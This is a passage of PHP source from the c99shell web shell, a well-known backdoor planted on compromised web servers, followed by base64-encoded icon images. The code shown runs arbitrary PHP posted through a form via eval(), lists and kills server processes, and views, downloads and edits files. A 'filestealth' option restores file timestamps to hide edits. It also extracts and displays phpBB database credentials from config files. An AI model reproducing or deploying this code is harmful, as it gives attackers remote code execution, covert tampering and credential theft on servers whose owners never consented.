                            $line[0] = "<font color=green>" . $line[0] . "</font>";
                        }
                        $line[] = "<a href=\"" . $surl . "act=processes&d=" . urlencode($d) . "&pid=" . $line[1] . "&sig=9\"><u>KILL</u></a>";
                        $prcs[] = $line;
                        echo "</tr>";
                    }
                }
            }
            else
            {
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("		", $ret))
                {
                    $ret = str_replace("		", "	", $ret);
                }
                while (preg_match("	 ", $ret))
                {
                    $ret = str_replace("	 ", "	", $ret);
                }
                $ret = convert_cyr_string($ret, "d", "w");
                $stack = explode("\n", $ret);
                unset($stack[0], $stack[2]);
                $stack = array_values($stack);
                $head = explode("	", $stack[0]);
                $head[1] = explode(" ", $head[1]);
                $head[1] = $head[1][0];
                $stack = array_slice($stack, 1);
                unset($head[2]);
                $head = array_values($head);
                if ($parsesort[1] != "a")
                {
                    $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\"><img src=\"" . $surl . "act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";
                }
                else
                {
                    $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\"><img src=\"" . $surl . "act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
                }
                if ($k > count($head))
                {
                    $k = count($head) - 1;
                }
                for ($i = 0;$i < count($head);$i++)
                {
                    if ($i != $k)
                    {
                        $head[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $i . $parsesort[1] . "\"><b>" . trim($head[$i]) . "</b></a>";
                    }
                }
                $prcs = array();
                foreach ($stack as $line)
                {
                    if (!empty($line))
                    {
                        echo "<tr>";
                        $line = explode("	", $line);
                        $line[1] = intval($line[1]);
                        $line[2] = $line[3];
                        unset($line[3]);
                        $line[2] = intval(str_replace(" ", "", $line[2])) * 1024;
                        $prcs[] = $line;
                        echo "</tr>";
                    }
                }
            }
            $head[$k] = "<b>" . $head[$k] . "</b>" . $y;
            $v = $processes_sort[0];
            usort($prcs, "tabsort");
            if ($processes_sort[1] == "d")
            {
                $prcs = array_reverse($prcs);
            }
            $tab = array();
            $tab[] = $head;
            $tab = array_merge($tab, $prcs);
            echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
            foreach ($tab as $i => $k)
            {
                echo "<tr>";
                foreach ($k as $j => $v)
                {
                    if ($win and $i > 0 and $j == 2)
                    {
                        $v = view_size($v);
                    }
                    echo "<td>" . $v . "</td>";
                }
                echo "</tr>";
            }
            echo "</table>";
        }
    }
    if ($act == "eval")
    {
        if (!empty($eval))
        {
            echo "<b>Result of execution this PHP-code</b>:<br>";
            $tmp = ob_get_contents();
            $olddir = realpath(".");
            @chdir($d);
            if ($tmp)
            {
                ob_clean();
                eval($eval);
                $ret = ob_get_contents();
                $ret = convert_cyr_string($ret, "d", "w");
                ob_clean();
                echo $tmp;
                if ($eval_txt)
                {
                    $rows = count(explode("\r\n", $ret)) + 1;
                    if ($rows < 10)
                    {
                        $rows = 10;
                    }
                    echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
                }
                else
                {
                    echo $ret . "<br>";
                }
            }
            else
            {
                if ($eval_txt)
                {
                    echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
                    eval($eval);
                    echo "</textarea>";
                }
                else
                {
                    echo $ret;
                }
            }
            @chdir($olddir);
        }
        else
        {
            echo "<b>Execution PHP-code</b>";
            if (empty($eval_txt))
            {
                $eval_txt = true;
            }
        }
        echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">" . htmlspecialchars($eval) . "</textarea><input type=hidden name=\"d\" value=\"" . $dispd . "\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\"";
        if ($eval_txt)
        {
            echo " checked";
        }
        echo "></form>";
    }
    if ($act == "f")
    {
        if ((!is_readable($d . $f) or is_dir($d . $f)) and $ft != "edit")
        {
            if (file_exists($d . $f))
            {
                echo "<center><b>Permision denied (" . htmlspecialchars($d . $f) . ")!</b></center>";
            }
            else
            {
                echo "<center><b>File does not exists (" . htmlspecialchars($d . $f) . ")!</b><br><a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=edit&d=" . urlencode($d) . "&c=1\"><u>Create</u></a></center>";
            }
        }
        else
        {
            $r = @file_get_contents($d . $f);
            $ext = explode(".", $f);
            $c = count($ext) - 1;
            $ext = $ext[$c];
            $ext = strtolower($ext);
            $rft = "";
            foreach ($ftypes as $k => $v)
            {
                if (in_array($ext, $v))
                {
                    $rft = $k;
                    break;
                }
            }
            if (preg_match("sess_(.*)", $f))
            {
                $rft = "phpsess";
            }
            if (empty($ft))
            {
                $ft = $rft;
            }
            $arr = array(
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_diz\" border=\"0\">",
                    "info"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_html\" border=\"0\">",
                    "html"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_txt\" border=\"0\">",
                    "txt"
                ) ,
                array(
                    "Code",
                    "code"
                ) ,
                array(
                    "Session",
                    "phpsess"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_exe\" border=\"0\">",
                    "exe"
                ) ,
                array(
                    "SDB",
                    "sdb"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_gif\" border=\"0\">",
                    "img"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_ini\" border=\"0\">",
                    "ini"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=download\" border=\"0\">",
                    "download"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_rtf\" border=\"0\">",
                    "notepad"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=change\" border=\"0\">",
                    "edit"
                )
            );
            echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"" . $surl . "act=img&img=ext_" . $ext . "\" border=\"0\">&nbsp;" . $f . " (" . view_size(filesize($d . $f)) . ") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" . view_perms_color($d . $f) . "</b><br>Select action/file-type:<br>";
            foreach ($arr as $t)
            {
                if ($t[1] == $rft)
                {
                    echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><font color=green>" . $t[0] . "</font></a>";
                }
                elseif ($t[1] == $ft)
                {
                    echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><b><u>" . $t[0] . "</u></b></a>";
                }
                else
                {
                    echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><b>" . $t[0] . "</b></a>";
                }
                echo " (<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&white=1&d=" . urlencode($d) . "\" target=\"_blank\">+</a>) |";
            }
            echo "<hr size=\"1\" noshade>";
            if ($ft == "info")
            {
                echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> " . $d . $f . "</td></tr><tr><td><b>Size</b></td><td> " . view_size(filesize($d . $f)) . "</td></tr><tr><td><b>MD5</b></td><td> " . md5_file($d . $f) . "</td></tr>";
                if (!$win)
                {
                    echo "<tr><td><b>Owner/Group</b></td><td> ";
                    $ow = posix_getpwuid(fileowner($d . $f));
                    $gr = posix_getgrgid(filegroup($d . $f));
                    echo ($ow["name"] ? $ow["name"] : fileowner($d . $f)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d . $f));
                }
                echo "<tr><td><b>Perms</b></td><td><a href=\"" . $surl . "act=chmod&f=" . urlencode($f) . "&d=" . urlencode($d) . "\">" . view_perms_color($d . $f) . "</a></td></tr><tr><td><b>Create time</b></td><td> " . date("d/m/Y H:i:s", filectime($d . $f)) . "</td></tr><tr><td><b>Access time</b></td><td> " . date("d/m/Y H:i:s", fileatime($d . $f)) . "</td></tr><tr><td><b>MODIFY time</b></td><td> " . date("d/m/Y H:i:s", filemtime($d . $f)) . "</td></tr></table><br>";
                $fi = fopen($d . $f, "rb");
                if ($fi)
                {
                    if ($fullhexdump)
                    {
                        echo "<b>FULL HEXDUMP</b>";
                        $str = fread($fi, filesize($d . $f));
                    }
                    else
                    {
                        echo "<b>HEXDUMP PREVIEW</b>";
                        $str = fread($fi, $hexdump_lines * $hexdump_rows);
                    }
                    $n = 0;
                    $a0 = "00000000<br>";
                    $a1 = "";
                    $a2 = "";
                    for ($i = 0;$i < strlen($str);$i++)
                    {
                        $a1 .= sprintf("%02X", ord($str[$i])) . " ";
                        switch (ord($str[$i]))
                        {
                            case 0:
                                $a2 .= "<font>0</font>";
                            break;
                            case 32:
                            case 10:
                            case 13:
                                $a2 .= "&nbsp;";
                            break;
                            default:
                                $a2 .= htmlspecialchars($str[$i]);
                        }
                        $n++;
                        if ($n == $hexdump_rows)
                        {
                            $n = 0;
                            if ($i + 1 < strlen($str))
                            {
                                $a0 .= sprintf("%08X", $i + 1) . "<br>";
                            }
                            $a1 .= "<br>";
                            $a2 .= "<br>";
                        }
                    }
                    echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>" . $a0 . "</td><td bgcolor=000000>" . $a1 . "</td><td bgcolor=000000>" . $a2 . "</td></tr></table><br>";
                }
                $encoded = "";
                if ($base64 == 1)
                {
                    echo "<b>Base64 Encode</b><br>";
                    $encoded = base64_encode(file_get_contents($d . $f));
                }
                elseif ($base64 == 2)
                {
                    echo "<b>Base64 Encode + Chunk</b><br>";
                    $encoded = chunk_split(base64_encode(file_get_contents($d . $f)));
                }
                elseif ($base64 == 3)
                {
                    echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
                    $encoded = base64_encode(file_get_contents($d . $f));
                    $encoded = substr(preg_replace("!.{1,76}!", "'\\0'.\n", $encoded) , 0, -2);
                }
                elseif ($base64 == 4)
                {
                    $text = file_get_contents($d . $f);
                    $encoded = base64_decode($text);
                    echo "<b>Base64 Decode";
                    if (base64_encode($encoded) != $text)
                    {
                        echo " (failed)";
                    }
                    echo "</b><br>";
                }
                if (!empty($encoded))
                {
                    echo "<textarea cols=80 rows=10>" . htmlspecialchars($encoded) . "</textarea><br><br>";
                }
                echo "<b>HEXDUMP:</b><nobr> [<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&fullhexdump=1&d=" . urlencode($d) . "\">Full</a>] [<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&d=" . urlencode($d) . "\">Preview</a>]<br><b>Base64: </b>
<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=1&d=" . urlencode($d) . "\">Encode</a>]&nbsp;</nobr>
<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=2&d=" . urlencode($d) . "\">+chunk</a>]&nbsp;</nobr>
<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=3&d=" . urlencode($d) . "\">+chunk+quotes</a>]&nbsp;</nobr>
<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=4&d=" . urlencode($d) . "\">Decode</a>]&nbsp;</nobr>
<P>";
            }
            elseif ($ft == "html")
            {
                if ($white)
                {
                    @ob_clean();
                }
                echo $r;
                if ($white)
                {
                    c99shexit();
                }
            }
            elseif ($ft == "txt")
            {
                echo "<pre>" . htmlspecialchars($r) . "</pre>";
            }
            elseif ($ft == "ini")
            {
                echo "<pre>";
                var_dump(parse_ini_file($d . $f, true));
                echo "</pre>";
            }
            elseif ($ft == "phpsess")
            {
                echo "<pre>";
                $v = explode("|", $r);
                echo $v[0] . "<br>";
                var_dump(unserialize($v[1]));
                echo "</pre>";
            }
            elseif ($ft == "exe")
            {
                $ext = explode(".", $f);
                $c = count($ext) - 1;
                $ext = $ext[$c];
                $ext = strtolower($ext);
                $rft = "";
                foreach ($exeftypes as $k => $v)
                {
                    if (in_array($ext, $v))
                    {
                        $rft = $k;
                        break;
                    }
                }
                $cmd = str_replace("%f%", $f, $rft);
                echo "<b>Execute file:</b><form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"" . htmlspecialchars($cmd) . "\" size=\"" . (strlen($cmd) + 2) . "\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"" . htmlspecialchars($d) . "\"><br><input type=submit name=submit value=\"Execute\"></form>";
            }
            elseif ($ft == "sdb")
            {
                echo "<pre>";
                var_dump(unserialize(base64_decode($r)));
                echo "</pre>";
            }
            elseif ($ft == "code")
            {
                if (preg_match("php" . "BB 2.(.*) auto-generated config file", $r))
                {
                    $arr = explode("\n", $r);
                    if (count($arr == 18))
                    {
                        include ($d . $f);
                        echo "<b>phpBB configuration is detected in this file!<br>";
                        if ($dbms == "mysql4")
                        {
                            $dbms = "mysql";
                        }
                        if ($dbms == "mysql")
                        {
                            echo "<a href=\"" . $surl . "act=sql&sql_server=" . htmlspecialchars($dbhost) . "&sql_login=" . htmlspecialchars($dbuser) . "&sql_passwd=" . htmlspecialchars($dbpasswd) . "&sql_port=3306&sql_db=" . htmlspecialchars($dbname) . "\"><b><u>Connect to DB</u></b></a><br><br>";
                        }
                        else
                        {
                            echo "But, you can't connect to forum sql-base, because db-software=\"" . $dbms . "\" is not supported by c99shell. Please, report us for fix.";
                        }
                        echo "Parameters for manual connect:<br>";
                        $cfgvars = array(
                            "dbms" => $dbms,
                            "dbhost" => $dbhost,
                            "dbname" => $dbname,
                            "dbuser" => $dbuser,
                            "dbpasswd" => $dbpasswd
                        );
                        foreach ($cfgvars as $k => $v)
                        {
                            echo htmlspecialchars($k) . "='" . htmlspecialchars($v) . "'<br>";
                        }
                        echo "</b><hr size=\"1\" noshade>";
                    }
                }
                echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: " . $highlight_background . ";\">";
                if (!empty($white))
                {
                    @ob_clean();
                }
                highlight_file($d . $f);
                if (!empty($white))
                {
                    c99shexit();
                }
                echo "</div>";
            }
            elseif ($ft == "download")
            {
                @ob_clean();
                header("Content-type: application/octet-stream");
                header("Content-length: " . filesize($d . $f));
                header("Content-disposition: attachment; filename=\"" . $f . "\";");
                echo $r;
                exit;
            }
            elseif ($ft == "notepad")
            {
                @ob_clean();
                header("Content-type: text/plain");
                header("Content-disposition: attachment; filename=\"" . $f . ".txt\";");
                echo ($r);
                exit;
            }
            elseif ($ft == "img")
            {
                $inf = getimagesize($d . $f);
                if (!$white)
                {
                    if (empty($imgsize))
                    {
                        $imgsize = 20;
                    }
                    $width = $inf[0] / 100 * $imgsize;
                    $height = $inf[1] / 100 * $imgsize;
                    echo "<center><b>Size:</b>&nbsp;";
                    $sizes = array(
                        "100",
                        "50",
                        "20"
                    );
                    foreach ($sizes as $v)
                    {
                        echo "<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=img&d=" . urlencode($d) . "&imgsize=" . $v . "\">";
                        if ($imgsize != $v)
                        {
                            echo $v;
                        }
                        else
                        {
                            echo "<u>" . $v . "</u>";
                        }
                        echo "</a>&nbsp;&nbsp;&nbsp;";
                    }
                    echo "<br><br><img src=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=img&white=1&d=" . urlencode($d) . "\" width=\"" . $width . "\" height=\"" . $height . "\" border=\"1\"></center>";
                }
                else
                {
                    @ob_clean();
                    $ext = explode($f, ".");
                    $ext = $ext[count($ext) - 1];
                    header("Content-type: " . $inf["mime"]);
                    readfile($d . $f);
                    exit;
                }
            }
            elseif ($ft == "edit")
            {
                if (!empty($submit))
                {
                    if ($filestealth)
                    {
                        $stat = stat($d . $f);
                    }
                    $fp = fopen($d . $f, "w");
                    if (!$fp)
                    {
                        echo "<b>Can't write to file!</b>";
                    }
                    else
                    {
                        echo "<b>Saved!</b>";
                        fwrite($fp, $edit_text);
                        fclose($fp);
                        if ($filestealth)
                        {
                            touch($d . $f, $stat[9], $stat[8]);
                        }
                        $r = $edit_text;
                    }
                }
                $rows = count(explode("\r\n", $r));
                if ($rows < 10)
                {
                    $rows = 10;
                }
                if ($rows > 30)
                {
                    $rows = 30;
                }
                echo "<form action=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=edit&d=" . urlencode($d) . "\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='" . addslashes($surl . "act=ls&d=" . substr($d, 0, -1)) . "';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"" . $rows . "\">" . htmlspecialchars($r) . "</textarea></form>";
            }
            elseif (!empty($ft))
            {
                echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";
            }
            else
            {
                echo "<center><b>Unknown extension (" . $ext . "), please, select type manually.</b></center>";
            }
        }
    }
}
else
{
    @ob_clean();
    $images = array(
        "arrow_ltr" => "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
        "back" => "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqtWg0JADs=",
        "buffer" => "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANoeLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmDDlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
        "change" => "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEAAB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOCwSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgACHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDLzMshADs=",
        "delete" => "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCwsGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWvvHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42VlZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8GBZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQjwVFHBgiEGQFIgQasYkcSbJQIAA7",
        "download" => "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7puEYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
        "forward" => "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqtWqsJADs=",
        "home" => "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWSkrqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/jVwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
        "mode" => "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
        "refresh" => "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJR3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
        "search" => "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP///wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOaps5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsDAkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmrCbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
        "setup" => "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJCQhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIBqCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQEOwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
        "small_dir" => "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
        "small_unk" => "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1Up9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmPwr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMzaQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpMuSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQCyIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDjyAsokBkQADs=",
        "multipage" => "R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IRpJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
        "sort_asc" => "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMaSLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
        "sort_desc" => "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMbSLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
